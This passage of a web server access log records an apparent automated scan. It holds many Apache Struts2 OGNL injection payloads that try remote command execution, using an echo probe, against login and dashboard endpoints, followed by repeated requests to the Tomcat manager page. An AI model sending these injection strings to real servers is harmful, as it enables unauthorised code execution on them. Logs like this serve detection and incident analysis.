HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:35 -0500] "GET /dashboard/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:36 -0500] "GET /dashboard?redirect%3A%24%7B8743036%2B8713344%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:36 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:36 -0500] "GET /dashboard?redirect%3A%24%7B8743036%2B8713344%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:36 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:37 -0500] "GET /dashboard?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:37 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:37 -0500] "GET /dashboard?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:38 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:39 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:40 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:40 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:40 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:40 -0500] "GET /dashboard?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:41 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:41 -0500] "GET /dashboard?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:41 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:41 -0500] "GET /dashboard/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:42 -0500] "GET /dashboard/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:42 -0500] "GET /dashboard/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:42 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:43 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:43 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:43 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:43 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:44 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:44 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:45 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:45 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:45 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:46 -0500] "GET /dashboard?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:46 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:46 -0500] "GET /dashboard/%24%7B6448319%2B4799543%7D/index.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:46 -0500] "GET /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:47 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:47 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:48 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:24:48 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:48 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:24:49 -0500] "GET /login?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:49 -0500] "GET /login?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:49 -0500] "GET /login?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:50 -0500] "GET /login?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:50 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:50 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:24:50 -0500] "GET /login/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:51 -0500] "GET /login/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:51 -0500] "GET /login&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:51 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:52 -0500] "GET /login&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:52 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:52 -0500] "GET /login%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:52 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:53 -0500] "GET /login%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:53 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:53 -0500] "GET /login?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:54 -0500] "GET /login?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:54 -0500] "GET /login/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:54 -0500] "GET /login/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:55 -0500] "GET /login?redirect%3A%24%7B8676061%2B8475007%7D HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:57 -0500] "GET /login?redirect%3A%24%7B8676061%2B8475007%7D HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:02 -0500] "GET /login?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:02 -0500] "GET /login?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:03 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:03 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:03 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:03 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:04 -0500] "GET /login?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:04 -0500] "GET /login?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:04 -0500] "GET /login/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:25:05 -0500] "GET /login/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:25:05 -0500] "GET /login/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:25:05 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:06 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:06 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:06 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:07 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:07 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:07 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:07 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:08 -0500] "POST /login HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:25:09 -0500] "GET /login?error=true HTTP/1.0" 200 4296 208.87.206.42 - - [30/Dec/2023:02:25:09 -0500] "GET /login?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:25:10 -0500] "GET /login/%24%7B7085657%2B2696369%7D/index.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:25:10 -0500] "GET /login HTTP/1.0" 200 4254 127.0.0.1 - - [30/Dec/2023:02:26:50 -0500] "GET /bin/reGeorg/LICENSE.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:02:27:55 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:02:27:55 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:02:31:38 -0500] "GET /webapps/examples/jsp/jsp2/tagfiles/hello.html HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:02:33:18 -0500] "GET /work/Catalina/cyberschoolelibrary.com/examples/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:02:34:39 -0500] "GET /logs/localhost_access_log..2022-10-23.txt HTTP/1.1" 200 2145 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:50 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:51 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:51 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:51 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:51 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:03:20:51 -0500] "GET /manager/html HTTP/1.1" 401 2538 127.0.0.1 - - [30/Dec/2023:03:23:43 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:03:23:43 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:03:29:31 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:03:29:31 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:03:29:31 -0500] "GET 